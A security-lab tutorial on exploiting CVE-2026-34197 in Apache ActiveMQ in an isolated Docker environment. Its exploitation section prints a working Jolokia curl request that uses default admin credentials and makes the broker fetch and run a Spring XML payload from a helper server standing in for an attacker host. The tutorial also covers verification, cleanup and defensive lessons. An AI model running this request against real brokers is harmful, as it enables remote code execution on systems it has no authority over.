Labs

CVE-2026-34197: Apache ActiveMQ Jolokia RCE

Docker lab RCE

Updated July 28, 2026 · Written by PWNMI — see About.

Apache ActiveMQ is a widely deployed message broker, and CVE-2026-34197 is a good example of how a management interface — something meant for operators, not the public — becomes a full compromise path when it's reachable and undersecured. This CVE is CISA KEV listed: confirmed actively exploited in the wild, not a theoretical finding.

Affects ActiveMQ before 5.19.4 and 6.0.0 before 6.2.3. Environment from vulhub's own ActiveMQ lab.

What you'll practice: working with a JMX-over-HTTP management API instead of a normal web app, understanding how a single legitimate-looking configuration action can be redirected into loading attacker-controlled code, and — again — refusing to trust an API's own "success" response until you've confirmed the actual effect independently.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-34197
cd cve-labs/CVE-2026-34197
docker compose up -d

This starts ActiveMQ 6.2.2. No ports are published — reach it on its own IP:

CONTAINER=$(docker compose ps -q activemq)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')

Give it 15-20 seconds to fully boot (ActiveMQ starts several protocol listeners), then serve the included poc.xml from a second container on the same network — this stands in for "a server the attacker controls" without needing real internet access:

docker run -d --rm --name httpserver --network resources_lab \
  -v "$(pwd)":/srv -w /srv python:3-slim python3 -m http.server 80

(Adjust the network name to match whatever Compose actually named it — check with docker network ls.)

Understanding the vulnerability

ActiveMQ ships Jolokia, a JMX-to-HTTP bridge, so operators can manage the broker over a REST API instead of a Java management console. Jolokia exposes an exec operation type that lets an authenticated caller invoke methods directly on ActiveMQ's own management beans (MBeans) — including addNetworkConnector(String), a legitimate operation for linking one broker to another for clustering.

The argument to that method is a connection URI, and ActiveMQ supports a vm:// transport for in-process brokers, configurable via a brokerConfig parameter that can point to a Spring XML configuration file. Critically, that parameter accepts an xbean: prefix — telling ActiveMQ to load the configuration using Spring's own resource-loading machinery, which supports plain HTTP URLs. Point it at a URL you control, and ActiveMQ's own Spring context fetches your XML and instantiates every bean it defines. A ProcessBuilder bean with an init-method="start" runs an OS command the instant Spring constructs it — no further interaction needed.

The chain is: authenticated API call → legitimate-looking clustering operation → remote XML fetch → Spring bean instantiation → code execution. Nothing in that sequence is individually suspicious; it's the combination that's dangerous.

Exploitation

The lab ships poc.xml, a Spring bean definition that runs id > /tmp/pwnmi-verify-success; hostname >> /tmp/pwnmi-verify-success the moment it's instantiated. With the HTTP server from setup already running, send the Jolokia request using ActiveMQ's default credentials (admin:admin on this version):

curl -s -X POST "http://$IP:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic YWRtaW46YWRtaW4=" \
  -d '{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://evil?brokerConfig=xbean:http://<httpserver-ip>/poc.xml)"]}'

You'll get back something like {"status":200,"value":"NC",...} — a plausible success response. Don't treat this as proof. Jolokia returning 200 only means the addNetworkConnector call itself was accepted; it says nothing about whether ActiveMQ actually fetched your XML or ran the command inside it. Check the real effect directly:

docker exec $CONTAINER cat /tmp/pwnmi-verify-success

If it worked, you'll see genuine command output — an id line showing uid=0(root) gid=0(root) groups=0(root) and a hostname matching the container's own short ID. That's unambiguous: a real OS command executed inside the target, driven entirely by the remote XML your addNetworkConnector call caused ActiveMQ to fetch and parse.

Cleanup

This exploit left two things behind on the broker: the evil network connector itself, and whatever command you ran through it (in this walkthrough, the /tmp/pwnmi-verify-success file). The command's artifact is specific to what you chose to execute and needs handling case by case, but the network connector is a persistent broker-level object that will keep existing until it's explicitly removed — ActiveMQ won't clean it up on its own. Remove it the same way you added it:

curl -s -X POST "http://$IP:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic YWRtaW46YWRtaW4=" \
  -d '{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["evil"]}'

If you're less comfortable driving this through raw Jolokia calls, the same removal is available from the ActiveMQ web console under the broker's network connectors view — either path works, the point is that it doesn't happen by itself.

Tear the lab down when you're done:

docker compose down -v

(and stop the httpserver helper container separately).

Lessons worth keeping

  • Management interfaces are part of your attack surface, not separate from it. Jolokia exists for legitimate operational reasons. The vulnerability isn't that it exists — it's that one specific operation on one specific MBean can be pointed at attacker-controlled configuration with real code-execution consequences.
  • "Loads a remote configuration file" is a code-execution primitive, not just a data-fetching one. Any time an application will parse a remote file and use it to construct objects — Spring beans, deserialized objects, anything with side-effecting constructors or init methods — fetching that file from a URL you control is very often equivalent to running code you supply.
  • API-level success and real-world effect are two different questions. This lab's most important verification step wasn't the exploit request — it was refusing to trust its 200 response and checking the actual filesystem artifact it was supposed to produce instead.

Next step

For another real, KEV-listed CVE verified the same rigorous way, see CVE-2025-24813 (Apache Tomcat) or CVE-2026-62183 (Apache Syncope). For the concepts behind the isolation pattern used here, see Docker for Security Labs.